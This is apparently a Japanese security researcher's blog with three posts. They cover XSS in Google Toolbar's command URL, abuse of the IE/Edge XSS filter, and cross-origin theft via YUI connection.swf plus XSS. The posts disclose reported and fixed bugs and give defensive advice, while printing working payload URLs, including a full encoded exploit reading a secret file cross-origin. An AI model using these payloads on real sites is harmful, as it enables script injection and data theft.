どのようにコマンドを実行しているか


toolbar.google.com 上の次のページをみると、こんなコードを発見できます。

http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
(省略)....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
このページでは、ツールバーの設定をリセットできるようになっています。

ページ内のボタンを押すと、fixmenu()→command('&fixmenu=1')と関数が呼ばれます。command()関数では、window.location="http://toolbar.google.com/command?key="...に対してナビゲーションしようとしているようにみえますが、実はこれがコマンド実行操作です。Google Toolbarがインストールされている場合は、http://toolbar.google.com/command に対するナビゲーション操作が、ページ遷移ではなく、コマンドの実行と解釈されるようになります。 このURLにつけられたクエリが実行したいコマンド操作に対応しています。例えば、このページでできるツールバーのリセット操作は fixmenu=1に対応しています。

'...?key=' + document.googleTokenの部分は、外部から勝手にコマンドを実行させないためのCSRFトークンの役割をしています。document.googleTokenには、Google Toolbar が設定したランダムな値が入ります。この値が正しくないと、コマンドは実行されません。この値は、toolbar.google.com 上のみで参照可能です。

ざっと、こんな作りになっています。
こういう特殊な実装部分にはいかにも脆弱性がありそうです。なんだかおもしろそうなので、時は2015年ですが、Google Toolbarをインストールして詳しくみてみることにしました。

コマンドの調査


まずは、どんなコマンドがあるか、toolbar.google.com 上に書かれたコマンドをみてまわったり、Toolbarのバイナリを覗いてみたりしました。
見ていく中で、navigatetoというコマンドがあることがわかりました。

このコマンドは、名前の通り、ナビゲーションをするためのコマンドでした。toolbar.google.com 上で開いたコンソールで次を実行すると、example.com に対してナビゲーションが起きました。(※なお、最新のGoogle Toolbarではこのコマンドは無くなっているようです。)
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
ナビゲーションとわかれば、httpなURL以外でもナビゲーションできるか試してみたくなります。
この部分をjavascript:のURLに変えて試してみます。
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
すると、アラートが実行されました!おお!でも、まだ喜ぶところではありません。
なぜなら、document.googleTokenの値が外からはわからないため、このコマンドを誰かに罠リンクを踏ませて実行させるようなことはできないからです。逆に言えば、document.googleTokenの値をどうにかして取得できれば、スクリプトを実行させられるかもしれません。

XSS脆弱性の発見 その1


なんとかならないかと、toolbar.google.com のページをみてまわっていると、次のようなページをみつけました。

http://toolbar.google.com/dc/dcuninstall.html (現在はページが無くなっています。 WebArchive でみれます。)
<script language="JavaScript"> <!--
  function command(s) {
    window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
  }
  function OnYes() {
    var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
    command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
//    window.location=path + "dcuninstallfailed.html";
  }
// -->
</script>
...
      <script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script> 
最初の例と同様に、ボタンを押すと、コマンドが実行されるようなページです。OnYes()からのcommand("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");で、コマンドの実行をしています。ここでそうしているように、& で繋げると複数のコマンドを一度に指定できるみたいです。
コマンドの詳細はさておき、注目すべきはここに含まれているpathという変数です。pathは直前で定義されています。
  var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
location.hrefからコマンドに含む文字列を受け取っている様子です。詳しくみると、URLの先頭から、 document.location.href.lastIndexOf("/") + 1で、URLの最後に出てくるスラッシュまでをsubstring()で切り取っています。このコードを書いた人が取り出したいのは、以下の太字部分の、ファイル名をのぞいたパスまででしょう。

https://toolbar.google.com/dc/dcuninstall.html

でも、この切り出し方は雑すぎます。余分なスラッシュをもっと後ろに入れられたら予想外のURLを切り取ることになります。

https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy

この切り取った文字列はnavigateto=に連結されるので、ナビゲーションに使いたいようです。
ここではlocation.hrefの先頭から切り取っているため、いくら切り出すURLを間違えているとはいえ、一見、XSSどころかオープンリダイレクトバグにすらならないようにも思えます。

ところが、次のようなURLを与えたらどうでしょう? &がポイントです。

https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//

スラッシュはURL全体の一番最後にあるので、URL全てが切り取られることになります。
このURLがpathという変数に入り、コマンドとして実行されるときの値をみてみましょう。

http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html


URL に & を挿入したことで、ページ側が指定したnavigateto=に渡るURLは挿入した&の手前で区切られることになります。その後ろに、自身でもう1つnavigateto=を追加します。すると、navigatetoのコマンドが2つあることになりますが、同じコマンドが複数あるときは、一番後ろにあるコマンドが実行されるようになっているようです。よって、発生するnavigatetoによるナビゲーションは、javascript:alert(1)//dcuninstalled.html に対するものになります。これで、アラートが実行されます!

このように、コマンドにユーザー入力値を不用心に引き渡している部分を利用することで、document.googleTokenを知らずとも、XSSに繋げることに成功しました。

XSS脆弱性の発見 その2


さらに、同じようなパターンでXSSできないか toolbar.google.com を漁っていると、また面白いページをみつけました。

https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
  window.location = "http://toolbar.google.com/command?key=" +
      document.googleToken + s;
}

function Load() {
  var url = window.document.URL.toString();
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
}
....
// -->
</script>
<body onload="Load()">
順に見ていきます。
ページを開くと、body onloadで、Load()関数が実行されます。
<body onload="Load()"> 
Load()関数では、document.URLから自身のURLをurl変数に入れ、
var url = window.document.URL.toString();
クエリを & で分解し、さらに = で分解して、パラメータ名と値のペアを取り出しています。
ここでは、太字部分にあるようにcustom_button_uriというパラメータを探しています。パラメータがあれば、その値をdocument.custom_button_uidという変数に代入するようになっています。
  var url_pieces = url.split("?");
  if (url_pieces.length > 1) {
    var params = url_pieces[1].split("&");
    var i = 0;
    for (i = 0; i < params.length; i++) {
      param_pieces = params[i].split("=");
      if (param_pieces.length == 2 &&
          param_pieces[0] == "custom_button_uri" &&
          param_pieces[1].length > 0) {
        document.custom_button_uid = unescape(param_pieces[1]);
      }
    }        
  }

ここで設定された、document.custom_button_uidはこのすぐ後で、コマンド実行関数へと引き渡されます。
  if (document.custom_button_uid != "") {
    action.innerHTML = document.forms[0].edit_mode_title.value;
    command("&custom-button-load=" + document.custom_button_uid);
  }
少なくとも、ユーザー入力値がcustom_button_uriというクエリを介してコマンド文字列として渡っているということです。危なっかしいかんじがしますが、&ごとにクエリを分解しているため、1つ目のXSSで示したような、単純に&で追加のコマンドを紛れ込ますような手は使えません。

XSSは無理かと思われましたが、もう一度、document.custom_button_uidを設定しているところをよくみてみると、
document.custom_button_uid = unescape(param_pieces[1]);
なんと都合がいいことに、custom_button_uriの値をunescape関数にかけているではありませんか。ということは、発見されると分解されてしまう & と = を以下のようにエンコードしてcustom_button_uriに渡せば、

https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=%26navigateto%3Djavascript:alert(document.domain)

%26が&、%3Dが=にunescapeされ、最終的に実行されるコマンドは次のような、navigateto=を含むものになります。

http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=javascript:alert(document.domain)

ドーン!



おわりに


この2件の問題はGoogle VRPを介して報告し、 $3133.7 × 2 の報奨金を獲得しました。
文書化されていないコマンドの動作を把握するのは大変でしたが、古い技術にひっそりと残っている脆弱性を暴けたときの喜びはひとしおでした。
古い技術とはいえ、特権が与えられた機能の実装が脆弱性に繋がってしまうことは、最近トレンドマイクロのパスワードマネージャでもあったように、今の時代の技術にも潜んでいる、今後も注意を払う必要がある普遍の部分だと思います。

最後に、この時期に毎年紹介しているGoogleからのクリスマスプレゼント、今年も頂いたので紹介したいと思います。(以前いただいたものはこちら: Chromebook、Nexus 10、Nexus 5、Moto 360 )

Googleのロゴ入りのUSB Armory というガジェットと、Bug Bountopoly(バグハンター版のモノポリー?!)、Googleセキュリティチームからのポストカードです。





日本語のメッセージと バグハンターのイラスト をかいてくれたのは、 夏に日本のGoogleオフィスでお会いしたセキュリティチームのStephenさんです。掲載許可をもらったので載せます。かわいい!

今年もXSS送りできるよう頑張ります!

2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationがdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockかX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。

2015/05/05

connection.swf + XSS によるクロスオリジンの情報奪取

Flashを使った、ちょっと変わった情報奪取手法を紹介します。

この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。

実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15

発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。

なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。

攻撃の前提条件


ターゲットのドメインをhttp://app/とします。
ターゲットのドメインのcrossdomain.xmlのallow-access-fromには、十分に信頼できるドメイン、http://trust/がリストされているとします。

この設定に致命的な間違いはありません。
しかし、特殊な状況では、appにある情報をtrustの脆弱性を経由して奪取できてしまいます。

特殊な状況とは、次のような条件がそろった場合です。

1. trustが、appのcrossdomain.xmlのallow-access-fromにリストされている (前述したこと)
2. trustにXSS脆弱性がある
3. trustにconnection.swf(あるいはそれに準ずる機能を持つswf)がある


突然出てきた、connection.swfとは何でしょうか。

connection.swfを使った攻撃方法


connection.swfはYUI Library 2.x に同梱されている、クロスドメインで情報を取得するためのswfファイルです。

このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。

yui2/connection.as at master · yui/yui2 · GitHub
https://github.com/yui/yui2/blob/master/src/connection/as/com/yui/util/connection.as

26行目のExternalInterface.addCallback()でsend()というFlashの関数をJavaScript経由で呼び出せるようにしています。
ExternalInterface.addCallback("send", send);
これで、<embed id=flash src=connection.swf></embed>等とすると、ロードしているページがFlashファイルがあるオリジンと同じなら、JavaScriptからflash.send()とすれば、Flashの関数を呼び出せるようになります。

Flash側のsend()をみてみます。
public function send(uri:String, cb:Object, id:uint):void {
    var loader:URLLoader = new URLLoader(),
        request:URLRequest = new URLRequest(uri),
        timer:Timer,
        prop:String;

    for (prop in cb) {
        switch (prop) {
            case "method":
                if(cb.method === 'POST') {
                    request.method = URLRequestMethod.POST;
                }
                break;
            case "data":
                request.data = cb.data;
                break;
            case "timeout":
                timer = new Timer(cb.timeout, 1);
                break;
        }
    }

    loaderMap[id] = { c:loader, readyState: 0, t:timer };
    defineListeners(id, timer);
    addListeners(loader, timer);
    loader.load(request);
    start(id);

    if (timer) {
        timer.start();
    }
}
引数から、URL、HTTP method、POSTデータなどを渡せるのがわかります。
ここで指定したURLに、57行目のloader.load(request);を通じてGET/POSTを送れるようになっています。
指定したURLのロードに成功した場合、success()という関数がイベントリスナを経由して実行されます。

success()をみてみます。
private function success(e:Event, id:uint, timer:Timer):void {
    var data:String = encodeURI(e.target.data),
        response:Object = {
            tId: id,
            statusText: 'xdr:success',
            responseText: data
        };

    loaderMap[id].readyState = 4;

    if (timer && timer.running) {
        timer.stop();
    }

    ExternalInterface.call(handler, response);
    destroy(id);
}
先頭の方にあるe.target.dataに、指定したURLから返ってくるレスポンスbodyが入ります。
これが最終的に後半の方にある ExternalInterface.call(handler, response);のresponseの部分に渡ります。

ExternalInterface.call()は第1引数がJavaScriptの関数、第2引数がその関数に渡す引数になります。

第1引数にある、handlerは定数で、コード全体のはじめの方で定義されています。
private var handler:String = 'YAHOO.util.Connect.handleXdrResponse';
この関数の引数に、レスポンスbodyの中身が渡されるということです。


まとめると、同一オリジン(http://trust/内)のページにconnection.swfをロードして、Flashから読み取り可能なURLを指定してflash.send()を呼び出せば、レスポンスbodyがJavaScriptの引数に入るような仕組みになっている、というかんじです。

ここで注目すべきは、別ドメインのアプリケーション(app)のcrossdomain.xmlのallow-access-fromにconnection.swfが設置されたドメイン(trust)がリストされていれば、appのレスポンスbodyでさえもtrustから取得できるということです。

ただそれは、あくまでconnection.swfを動かせればの話です。connection.swfを動かすようなページを人様のドメインで普通は勝手に作れません。
悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!trust内にあるXSSを探して、XSSを使ってconnection.swfをロードしてしまえばいいんです。

XSSを探すのが大変ですか?朗報です!connection.swfはYUI Library 2.xに同梱されていると冒頭で書きましたが、都合がいいことに、古いYUI Library 2.xなら、XSS脆弱性を持ったswfファイルがもれなく3つ(CVE-2012-5881,CVE-2012-5882,CVE-2012-5883)ついてくるんです!アドバイザリが以下にあります。

Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/

脆弱性は以下の部分にあります。すべてExternalInterface.call()のバグです。


charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//

uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//

swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//


ここまでで攻撃に使うパーツの説明は全て終わりました!

実際に動作する例


最後にこれらを使って、実際に動作する例をお見せしましょう。


ターゲットのアプリのドメインを xdtestapp.vulnerabledoma.in、
crossdomain.xmlで信頼するドメインをyui.vulnerabledoma.inとし、以下のようにアプリ側のcrossdomain.xmlを指定します。

http://xdtestapp.vulnerabledoma.in/crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="yui.vulnerabledoma.in" />
</cross-domain-policy>

yui.vulnerabledoma.inには、YUI 2.xのconnection.swfとXSS脆弱性があるとします。

さあ、この条件で、yui.vulnerabledoma.inのconnection.swf + XSS から、アプリのドメインの情報を取得する、というのをやります!

以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれたsecret.txtの中身をアラートします。Chromeで動作することを確認しています。

http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E


うまくいけば以下の画像のようになるはずです。(クリックで拡大)



URL内に全てのコードをぶち込んでいるので文字の迫力が凄いですが、実体は以下の部分でただlocation.hash(#以降)の文字列をURLデコードしてページ内にHTMLを挿入しているだけです。
document.body.innerHTML=unescape(location.hash.substring(1)) 
ページ内に挿入されるHTMLである、#以降の部分をデコードすると以下のようになります。
<embed name="flash" src="http://yui.vulnerabledoma.in/connection/connection.swf" type="application/x-shockwave-flash"></embed>
<textarea id="textarea">
YAHOO={};
YAHOO.util={};
YAHOO.util.Connect={};
YAHOO.util.Connect.handleXdrResponse=function(x){
    if(typeof x.responseText!='undefined'){
        alert(decodeURIComponent(x.responseText));
    }
}
flash.send("http://xdtestapp.vulnerabledoma.in/secret.txt",{method:"GET"},0)
</textarea>
<button onclick=eval(document.getElementById("textarea").value)>go</button>
ここでは、connection.swfをembedタグでロードし、JavaScriptの関数、YAHOO.util.Connect.handleXdrResponseを自分の好きな処理をするように書き換えることで、ExternalInterface.call(handler, response);でレスポンスbodyが渡った時に、これをalert()するようにしています。最後に、取得したいURLを引数にセットしてflash.send()を呼び出すことで、alertダイアログにsecret.txtのレスポンスbodyが表示されます。

サイボウズのケースでも、アプリのドメインのcrossdomain.xmlでYUIのファイルが存在する別ドメインをリストしていたため、connection.swf+ XSS のコンボで、アプリのドメインの情報を取り出すことができてしまっていました。

はい、以上です。Flashを使った少し変わった情報奪取手法を紹介しました!
この手法、普通は自分のアプリには影響のない、別ドメインの脆弱性をうまく使うことで、自分のアプリまで攻撃されてしまうというのがとても面白いと思います。

この問題から言えることは、crossdomain.xmlのallow-access-fromにどこかのドメインを書くということは、書いたドメインが信頼できるのは当然のことで、さらに、都合の悪いFlashがないことまで保証できない限り、安全とは言い切れないということです。管理下にないサイトだったらそこまでの検証の仕様がないわけで、管理下にないサイトをここに追加すること自体がかなり危なっかしいことと言えると思います。
このような問題も起こるので、サイト管理者は、一度crossdomain.xmlの設定を見直されることをお勧めします。もはや使っていないけど放置したままというところも多いのではないでしょうか。